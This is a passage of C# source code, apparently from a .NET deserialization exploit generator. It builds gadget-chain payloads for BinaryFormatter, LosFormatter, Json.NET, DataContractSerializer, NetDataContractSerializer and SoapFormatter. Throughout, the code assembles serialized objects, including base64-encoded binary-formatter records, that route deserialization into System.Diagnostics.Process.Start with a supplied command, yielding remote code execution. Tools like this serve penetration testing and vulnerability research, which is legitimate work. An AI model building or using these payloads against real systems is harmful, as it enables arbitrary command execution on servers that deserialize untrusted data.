<value z:Type=""System.Int64"" z:Assembly=""0"">0</value>
</m_userToken>
<_label i:nil=""true""/>
<_nameClaimType i:nil=""true""/>
<_roleClaimType i:nil=""true""/>
</w>
</root>
";
}
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "Microsoft.IdentityModel" }, null);
}
else
{
payload = XMLMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.NetDataContractSerializer_deserialize(payload, "root");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("soapformatter"))
{
string payload = "";
if (variant_number == 2)
{
payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:WindowsClaimsIdentity id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/Microsoft.IdentityModel.Claims/Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"">
<System.Security.ClaimsIdentity.bootstrapContext xsi:type=""xsd:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.bootstrapContext>
</a1:WindowsClaimsIdentity>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
}
else
{
payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:WindowsClaimsIdentity id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/Microsoft.IdentityModel.Claims/Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"">
<System.Security.ClaimsIdentity.actor xsi:type=""xsd:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.actor>
</a1:WindowsClaimsIdentity>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
}
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "Microsoft.IdentityModel" }, null, FormatterType.SoapFormatter);
}
else
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.SoapFormatter_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
Generator generator = new TypeConfuseDelegateGenerator();
WindowsIdentity id = WindowsIdentity.GetCurrent();
id.Actor = new ClaimsIdentity();
id.Actor.BootstrapContext = TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget(inputArgs);
BinaryFormatter bf = new BinaryFormatter();
var ms = new MemoryStream();
bf.Serialize(ms, id);
byte[] gadget = ms.ToArray();
string b64encoded = Convert.ToBase64String(gadget);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase))
{
WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
obj.wi = id;
return(Serialize(obj, formatter, inputArgs));
}
else if (formatter.ToLower().Equals("json.net"))
{
string payload = @"{
'$type': 'System.Security.Principal.WindowsPrincipal, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'Identity':{
'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'System.Security.ClaimsIdentity.actor': '" + b64encoded + @"'
}
}";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = JSONMinifier.Minify(payload, new string[] { "mscorlib" }, null);
}
else
{
payload = JSONMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractserializer"))
{
string payload = $@"<root type=""System.Security.Principal.WindowsPrincipal, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
<WindowsPrincipal xmlns=""http://schemas.datacontract.org/2004/07/System.Security.Principal"" xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" >
<m_identity>
<System.Security.ClaimsIdentity.actor i:type=""x:string"" xmlns="""" xmlns:x=""http://www.w3.org/2001/XMLSchema"" >
{b64encoded}
</System.Security.ClaimsIdentity.actor>
</m_identity>
</WindowsPrincipal>
</root>";
// this will break the payload, because x is used! todo for @irsdl: fix the xslt in XMLMinifier.cs to have the option to include "unused variables"
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null);
}
else
{
payload = XMLMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("netdatacontractserializer"))
{
string payload = $@"
<WindowsPrincipal z:Type=""System.Security.Principal.WindowsPrincipal"" z:Assembly=""mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" xmlns=""http://schemas.datacontract.org/2004/07/System.Security.Principal"" xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" >
<m_identity z:Type=""System.Security.Principal.WindowsIdentity"" z:Assembly=""mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" >
<System.Security.ClaimsIdentity.actor z:Type=""System.String"" z:Assembly=""0"" xmlns="""">
{b64encoded}
</System.Security.ClaimsIdentity.actor>
</m_identity>
</WindowsPrincipal>";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null);
}
else
{
payload = XMLMinifier.Minify(payload, null, null);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.NetDataContractSerializer_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("datacontractjsonserializer"))
{
string payload = "{\"__type\":\"WindowsPrincipal:#System.Security.Principal\",\"m_identity\":{\"System.Security.ClaimsIdentity.actor\":\"" + b64encoded + "\"}}";
// this is unsupported for this formatter
if (inputArgs.Minify || inputArgs.UseSimpleType)
{
}
if (inputArgs.Test)
{
try
{
SerializersHelper.DataContractJsonSerializer_deserialize(payload, typeof(WindowsPrincipal).AssemblyQualifiedName, null);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else if (formatter.ToLower().Equals("soapformatter"))
{
string payload = $@"
<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC= ""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
<a1:WindowsPrincipal xmlns:a1=""http://schemas.microsoft.com/clr/ns/System.Security.Principal"">
<m_identity href = ""#ref-2"" />
<m_roles xsi:null=""1"" />
<m_rolesTable xsi:null=""1"" />
<m_rolesLoaded>false</m_rolesLoaded>
</a1:WindowsPrincipal>
<a1:WindowsIdentity id=""ref-2"" xmlns:a1=""http://schemas.microsoft.com/clr/ns/System.Security.Principal"">
<System.Security.ClaimsIdentity.actor>{b64encoded}</System.Security.ClaimsIdentity.actor>
</a1:WindowsIdentity>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>";
if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null, FormatterType.SoapFormatter);
}
else
{
payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
}
}
if (inputArgs.Test)
{
try
{
SerializersHelper.SoapFormatter_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(payload);
}
else
{
throw new Exception("Formatter not supported");
}
}
public override object Generate(string formatter, InputArgs inputArgs)
{
/*
* // This is how ResourceSet can be used directly but the payload would fire!
* object generatedPayload = TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget(inputArgs);
*
* using (ResourceWriter rw = new ResourceWriter(@".\ResourceSetGenerator.resources"))
* {
* rw.AddResource("", generatedPayload);
* rw.Generate();
* rw.Close();
* }
*
* // Payload will be executed once here which is annoying but without surgical insertion or something to parse binaryformatter objects, it is quite hard to prevent this
* ResourceSet myResourceSet = new ResourceSet(@".\ResourceSetGenerator.resources");
*
* // TextFormattingRunPropertiesGenerator is the preferred method due to its short length. However, we need to insert it manually into a serialized object as ResourceSet cannot tolerate it
*
* //*/
//TestMore(inputArgs);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase))
{
string payload = "";
// This to prevent code execution when running
byte[] bfSerializedObj;
if (internalgadget == 1)
{
// This is an example of using SimpleBinaryFormatterParser
//
string obj25Type = "", obj25Value = "", obj26Value = "";
byte[] cmdFile7bitLV = SimpleBinaryFormatterParser.Create7bitLengthObjectString(inputArgs.CmdFileName);
byte[] obj26ValueObjId = new byte[] { 0x0c, 0, 0, 0 };
obj26Value = Convert.ToBase64String(SimpleBinaryFormatterParser.ConcatTwoByteArrays(obj26ValueObjId, cmdFile7bitLV));
if (inputArgs.HasArguments)
{
byte[] obj25TypeByte = new byte[] { 0x06 };
byte[] obj25ValueObjId = new byte[] { 0x0b, 0, 0, 0 };
byte[] cmdArgs7bitLV = SimpleBinaryFormatterParser.Create7bitLengthObjectString(inputArgs.CmdArguments);
obj25Type = Convert.ToBase64String(obj25TypeByte);
obj25Value = Convert.ToBase64String(SimpleBinaryFormatterParser.ConcatTwoByteArrays(obj25ValueObjId, cmdArgs7bitLV));
}
else
{
byte[] obj25TypeByte = new byte[] { 0x09 };
byte[] obj25ValueObjId = new byte[] { 0x05, 0, 0, 0 };
obj25Type = Convert.ToBase64String(obj25TypeByte);
obj25Value = Convert.ToBase64String(obj25ValueObjId);
}
payload = @"{'headerBytes':'AAEAAAD/////AQAAAAAAAAA=','binaryFormatterObjects':[{'orderId':1,'typeBytes':'BA==','valueBytes':'AQAAABxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlU2V0AgAAAAVUYWJsZRVfY2FzZUluc2Vuc2l0aXZlVGFibGUDAxxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlHFN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGU='},{'orderId':2,'typeBytes':'CQ==','valueBytes':'AgAAAA=='},{'orderId':3,'typeBytes':'Cg==','valueBytes':''},{'orderId':4,'typeBytes':'BA==','valueBytes':'AgAAABxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlBwAAAApMb2FkRmFjdG9yB1ZlcnNpb24IQ29tcGFyZXIQSGFzaENvZGVQcm92aWRlcghIYXNoU2l6ZQRLZXlzBlZhbHVlcwAAAwMABQULCBxTeXN0ZW0uQ29sbGVjdGlvbnMuSUNvbXBhcmVyJFN5c3RlbS5Db2xsZWN0aW9ucy5JSGFzaENvZGVQcm92aWRlcgg='},{'orderId':5,'typeBytes':null,'valueBytes':'7FE4Pw=='},{'orderId':6,'typeBytes':null,'valueBytes':'AQAAAA=='},{'orderId':7,'typeBytes':'Cg==','valueBytes':''},{'orderId':8,'typeBytes':'Cg==','valueBytes':''},{'orderId':9,'typeBytes':null,'valueBytes':'AwAAAA=='},{'orderId':10,'typeBytes':'CQ==','valueBytes':'AwAAAA=='},{'orderId':11,'typeBytes':'CQ==','valueBytes':'BAAAAA=='},{'orderId':12,'typeBytes':'EA==','valueBytes':'AwAAAAEAAAA='},{'orderId':13,'typeBytes':'Bg==','valueBytes':'BQAAAAA='},{'orderId':14,'typeBytes':'EA==','valueBytes':'BAAAAAEAAAA='},{'orderId':15,'typeBytes':'CQ==','valueBytes':'BgAAAA=='},{'orderId':16,'typeBytes':'DA==','valueBytes':'BwAAAEZTeXN0ZW0sVmVyc2lvbj00LjAuMC4wLEN1bHR1cmU9bmV1dHJhbCxQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5'},{'orderId':17,'typeBytes':'BQ==','valueBytes':'BgAAAEBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Tb3J0ZWRTZXRgMVtbU3lzdGVtLlN0cmluZyxtc2NvcmxpYl1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABghJU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmcsbXNjb3JsaWJdXQgHAAAA'},{'orderId':18,'typeBytes':null,'valueBytes':'AgAAAA=='},{'orderId':19,'typeBytes':'CQ==','valueBytes':'CAAAAA=='},{'orderId':20,'typeBytes':null,'valueBytes':'AgAAAA=='},{'orderId':21,'typeBytes':'CQ==','valueBytes':'CQAAAA=='},{'orderId':22,'typeBytes':'BA==','valueBytes':'CAAAAElTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZyxtc2NvcmxpYl1dAQAAAAtfY29tcGFyaXNvbgMiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcg=='},{'orderId':23,'typeBytes':'CQ==','valueBytes':'CgAAAA=='},{'orderId':24,'typeBytes':'EQ==','valueBytes':'CQAAAAIAAAA='},{'orderId':25,'typeBytes':'" + obj25Type + @"','valueBytes':'" + obj25Value + @"'},{'orderId':26,'typeBytes':'Bg==','valueBytes':'" + obj26Value + @"'},{'orderId':27,'typeBytes':'BA==','valueBytes':'CgAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVy'},{'orderId':28,'typeBytes':'CQ==','valueBytes':'DQAAAA=='},{'orderId':29,'typeBytes':'CQ==','valueBytes':'DgAAAA=='},{'orderId':30,'typeBytes':'CQ==','valueBytes':'DwAAAA=='},{'orderId':31,'typeBytes':'BA==','valueBytes':'DQAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQ=='},{'orderId':32,'typeBytes':'Bg==','valueBytes':'EAAAAKQBU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZyxtc2NvcmxpYl0sW1N5c3RlbS5TdHJpbmcsbXNjb3JsaWJdLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyxTeXN0ZW0sVmVyc2lvbj00LjAuMC4wLEN1bHR1cmU9bmV1dHJhbCxQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0='},{'orderId':33,'typeBytes':'Bg==','valueBytes':'EQAAAAhtc2NvcmxpYg=='},{'orderId':34,'typeBytes':'Cg==','valueBytes':''},{'orderId':35,'typeBytes':'Bg==','valueBytes':'EgAAAEZTeXN0ZW0sVmVyc2lvbj00LjAuMC4wLEN1bHR1cmU9bmV1dHJhbCxQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5'},{'orderId':36,'typeBytes':'Bg==','valueBytes':'EwAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzcw=='},{'orderId':37,'typeBytes':'Bg==','valueBytes':'FAAAAAVTdGFydA=='},{'orderId':38,'typeBytes':'CQ==','valueBytes':'FQAAAA=='},{'orderId':39,'typeBytes':'BA==','valueBytes':'DgAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgYAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAAMIDVN5c3RlbS5UeXBlW10='},{'orderId':40,'typeBytes':'CQ==','valueBytes':'FAAAAA=='},{'orderId':41,'typeBytes':'CQ==','valueBytes':'EgAAAA=='},{'orderId':42,'typeBytes':'CQ==','valueBytes':'EwAAAA=='},{'orderId':43,'typeBytes':'Bg==','valueBytes':'GQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQ=='},{'orderId':44,'typeBytes':null,'valueBytes':'CAAAAA=='},{'orderId':45,'typeBytes':'Cg==','valueBytes':''},{'orderId':46,'typeBytes':'AQ==','valueBytes':'DwAAAA4AAAA='},{'orderId':47,'typeBytes':'Bg==','valueBytes':'GgAAAAdDb21wYXJl'},{'orderId':48,'typeBytes':'CQ==','valueBytes':'EQAAAA=='},{'orderId':49,'typeBytes':'Bg==','valueBytes':'HAAAAA1TeXN0ZW0uU3RyaW5n'},{'orderId':50,'typeBytes':'Bg==','valueBytes':'HQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcp'},{'orderId':51,'typeBytes':null,'valueBytes':'CAAAAA=='},{'orderId':52,'typeBytes':'Cg==','valueBytes':''},{'orderId':53,'typeBytes':'AQ==','valueBytes':'FQAAAA0AAAA='},{'orderId':54,'typeBytes':'Bg==','valueBytes':'HgAAAC1TeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0='},{'orderId':55,'typeBytes':'CQ==','valueBytes':'EQAAAA=='},{'orderId':56,'typeBytes':'Cg==','valueBytes':''},{'orderId':57,'typeBytes':'CQ==','valueBytes':'EQAAAA=='},{'orderId':58,'typeBytes':'CQ==','valueBytes':'HAAAAA=='},{'orderId':59,'typeBytes':'CQ==','valueBytes':'GgAAAA=='},{'orderId':60,'typeBytes':'Cg==','valueBytes':''},{'orderId':61,'typeBytes':'Cw==','valueBytes':''}]}";
bfSerializedObj = SimpleBinaryFormatterParser.JsonToStream(payload).ToArray();
}
else
{
// This is an example of using AdvancedBinaryFormatterParser which is recommended over SimpleBinaryFormatterParser but it is much longer
// In this gadget however, this feels like cheating as System.Resources.ResourceSet can be replaced by anything given the TextFormattingRunProperties gadget triggers first
ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator();
string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString();
if (inputArgs.Minify)
{
xaml_payload = XMLMinifier.Minify(xaml_payload, null, null);
}
xaml_payload = CommandArgSplitter.JsonStringEscape(xaml_payload);
// This payload has been minified manually too by removing some of the unnecessary items!
payload = @"[{'Id': 1,
'Data': {
'$type': 'SerializationHeaderRecord',
'binaryFormatterMajorVersion': 1,
'binaryFormatterMinorVersion': 0,
'binaryHeaderEnum': 0,
'topId': 1,
'headerId': -1,
'majorVersion': 1,
'minorVersion': 0
}},{'Id': 2,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 1,
'name': 'System.Resources.ResourceSet',
'numMembers': 2,
'memberNames':['',''],
'binaryTypeEnumA':[3,3],
'typeInformationA':[null,null],
'typeInformationB':['',''],
'memberAssemIds':[0,0],
'assemId': 0
}},{'Id': 3,
'TypeName': 'MemberReference',
'Data': {
'$type': 'MemberReference',
'idRef': 2
}},{'Id': 4,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 1
}},{'Id': 5,
'TypeName': 'ObjectWithMapTyped',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 4,
'objectId': 2,
'name': 'System.Collections.Hashtable',
'numMembers': 5,
'memberNames':['LoadFactor','Version','Comparer','','HashSize'],
'binaryTypeEnumA':[0,0,3,3,0],
'typeInformationA':[11,8,null,null,8],
'typeInformationB':[11,8,'','',8],
'memberAssemIds':[0,0,0,0,0],
'assemId': 0
}},{'Id': 6,
'TypeName': 'Single',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 11,
'value': 0
}},{'Id': 7,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 1
}},{'Id': 8,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 1
}},{'Id': 9,
'TypeName': 'ObjectNull',
'Data': {
'$type': 'ObjectNull',
'nullCount': 1
}},{'Id': 10,
'TypeName': 'Int32',
'IsPrimitive': true,
'Data': {
'$type': 'MemberPrimitiveUnTyped',
'typeInformation': 8,
'value': 3
}},{'Id': 11,
'TypeName': 'Assembly',
'Data': {
'$type': 'BinaryAssembly',
'assemId': 7,
'assemblyString': 'Microsoft.PowerShell.Editor'
}},{'Id': 12,
'TypeName': 'ObjectWithMapTypedAssemId',
'Data': {
'$type': 'BinaryObjectWithMapTyped',
'binaryHeaderEnum': 5,
'objectId': 6,
'name': 'Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties',
'numMembers': 1,
'memberNames':['ForegroundBrush'],
'binaryTypeEnumA':[1],
'typeInformationA':[null],
'typeInformationB':[null],
'memberAssemIds':[0],
'assemId': 7
}},{'Id': 13,
'TypeName': 'ObjectString',
'Data': {
'$type': 'BinaryObjectString',
'objectId': 8,
'value': '" + xaml_payload + @"'
}},{'Id': 14,
'TypeName': 'MessageEnd',
'Data': {
'$type': 'MessageEnd'
}}]";
bfSerializedObj = AdvancedBinaryFormatterParser.JsonToStream(payload).ToArray();
}
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase))
{
if (inputArgs.Test)
{
try
{
MemoryStream ms = new MemoryStream(bfSerializedObj);
ms.Position = 0;
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter bf = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
bf.Deserialize(ms);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(bfSerializedObj);
}
else
{
// it is LosFormatter
byte[] lfSerializedObj = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(bfSerializedObj);
MemoryStream ms = new MemoryStream(lfSerializedObj);
ms.Position = 0;
if (inputArgs.Test)
{
try
{
System.Web.UI.LosFormatter lf = new System.Web.UI.LosFormatter();
lf.Deserialize(ms);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(lfSerializedObj);
}
//return Serialize(myResourceSet, formatter, inputArgs);
}
else if (formatter.Equals("netdatacontractserializer", StringComparison.OrdinalIgnoreCase))
{
inputArgs.CmdType = CommandArgSplitter.CommandType.XML;
string ndcPayload = "";
if (internalgadget == 1)
{
string cmdPart = "";
if (inputArgs.HasArguments)
{
cmdPart = "<c:string>" + inputArgs.CmdArguments + "</c:string><c:string>" + inputArgs.CmdFileName + "</c:string>";
}
else
{
cmdPart = @"<c:string a:nil=""true""/><c:string>" + inputArgs.CmdFileName + "</c:string>";
}
ndcPayload = @"<w b:Type=""System.Resources.ResourceSet"" b:Assembly=""0"" xmlns=""http://schemas.datacontract.org/2004/07/System.Resources"" xmlns:a=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/""><Table b:Type=""System.Collections.Hashtable"" b:Assembly=""0"" xmlns:c=""http://schemas.microsoft.com/2003/10/Serialization/Arrays""><LoadFactor b:Type=""System.Single"" b:Assembly=""0"" xmlns="""">0</LoadFactor><Version b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">1</Version><HashSize b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">3</HashSize><Values b:Type=""System.Object[]"" b:Assembly=""0"" b:Size=""1"" xmlns=""""><c:anyType b:Type=""System.Collections.Generic.SortedSet`1[[System.String,mscorlib]]"" b:Assembly=""System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089""><Count b:Type=""System.Int32"" b:Assembly=""0"">2</Count><Comparer b:Type=""System.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib]]"" b:Assembly=""0""><_comparison b:FactoryType=""d:DelegateSerializationHolder"" b:Type=""System.DelegateSerializationHolder"" b:Assembly=""0"" xmlns=""http://schemas.datacontract.org/2004/07/System.Collections.Generic"" xmlns:d=""http://schemas.datacontract.org/2004/07/System""><Delegate b:Type=""System.DelegateSerializationHolder+DelegateEntry"" b:Assembly=""0"" xmlns=""""><d:assembly b:Id=""1"">mscorlib</d:assembly><d:delegateEntry><d:assembly b:Ref=""1"" a:nil=""1""/><d:delegateEntry a:nil=""1""/><d:methodName b:Id=""2"">Compare</d:methodName><d:target a:nil=""1""/><d:targetTypeAssembly b:Ref=""1"" a:nil=""1""/><d:targetTypeName b:Id=""3"">System.String</d:targetTypeName><d:type>System.Comparison`1[[System.String,mscorlib]]</d:type></d:delegateEntry><d:methodName b:Id=""4"">Start</d:methodName><d:target a:nil=""1""/><d:targetTypeAssembly b:Id=""5"">System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089</d:targetTypeAssembly><d:targetTypeName b:Id=""6"">System.Diagnostics.Process</d:targetTypeName><d:type>System.Func`3[[System.String,mscorlib],[System.String,mscorlib],[System.Diagnostics.Process,System,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089]]</d:type></Delegate><method0 b:FactoryType=""e:MemberInfoSerializationHolder"" b:Type=""System.Reflection.MemberInfoSerializationHolder"" b:Assembly=""0"" xmlns=""""><Name b:Ref=""4"" a:nil=""1""/><AssemblyName b:Ref=""5"" a:nil=""1""/><ClassName b:Ref=""6"" a:nil=""1""/><Signature b:Type=""System.String"" b:Assembly=""0"">System.Diagnostics.Process Start(System.String, System.String)</Signature><MemberType b:Type=""System.Int32"" b:Assembly=""0"">8</MemberType><GenericArguments a:nil=""1""/></method0><method1 b:FactoryType=""e:MemberInfoSerializationHolder"" b:Type=""System.Reflection.MemberInfoSerializationHolder"" b:Assembly=""0"" xmlns=""""><Name b:Ref=""2"" a:nil=""1""/><AssemblyName b:Ref=""1"" a:nil=""1""/><ClassName b:Ref=""3"" a:nil=""1""/><Signature b:Type=""System.String"" b:Assembly=""0"">Int32 Compare(System.String, System.String)</Signature><MemberType b:Type=""System.Int32"" b:Assembly=""0"">8</MemberType></method1></_comparison></Comparer><Version b:Type=""System.Int32"" b:Assembly=""0"">2</Version><Items b:Type=""System.String[]"" b:Assembly=""0"" b:Size=""2"">" + cmdPart + @"</Items></c:anyType></Values></Table></w>";
}
else
{
ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator();
string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString();
if (inputArgs.Minify)
{
xaml_payload = XMLMinifier.Minify(xaml_payload, null, null);
}
